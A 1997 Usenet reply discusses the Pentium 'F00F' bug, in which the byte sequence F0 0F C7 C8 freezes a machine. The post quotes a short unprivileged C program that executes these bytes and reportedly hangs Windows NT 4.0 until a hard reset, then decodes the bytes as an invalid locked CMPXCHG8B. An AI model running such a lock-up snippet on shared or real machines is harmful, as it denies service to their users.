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From: jw@qits.net.au.nospam (John Wiltshire)
Newsgroups: comp.os.linux.advocacy,comp.sys.intel,comp.os.ms-windows.programmer.nt.kernel-mode,comp.os.ms-windows.nt.advocacy
Subject: Re: This code will lock up any P5 machine under Windows NT!  (F0 0F C7 C8)
Date: Fri, 07 Nov 1997 13:03:43 GMT
Organization: Traffic Systems Development
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On 7 Nov 1997 11:37:12 GMT, Ingo Molnar <mingo@pc7537.hil.siemens.at>
wrote in comp.os.ms-windows.nt.advocacy:

>In comp.sys.intel Tim Smith <tzs@halcyon.com> wrote:
>: [Added comp.sys.intel]
>
>: Cool.  It also works (sic) from V86 mode, so if you want to play around, just
>: use DOS debug under whatever DOS emulator the OS you are using provides.
>: Anyone try it on a Pentium MMX?
>
>The following unpriviledged, user-mode simple C code locks up my NT 4.0
>(SP3+all current hotfixes applied) workstation solid, only hard reset
>helps:
>
>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
>main ()
>{
>	void (*f)() = x;
>
>	f();
>}

Looks like an invalid form of LOCK CMPXCHG8B to me...

(F0 0F C7 = LOCK CMPXCHG8B and C8 means 'register addressing with AX'
which makes no sense).  I could be wrong though?

Probably a Pentium bug, not an NT bug.

John
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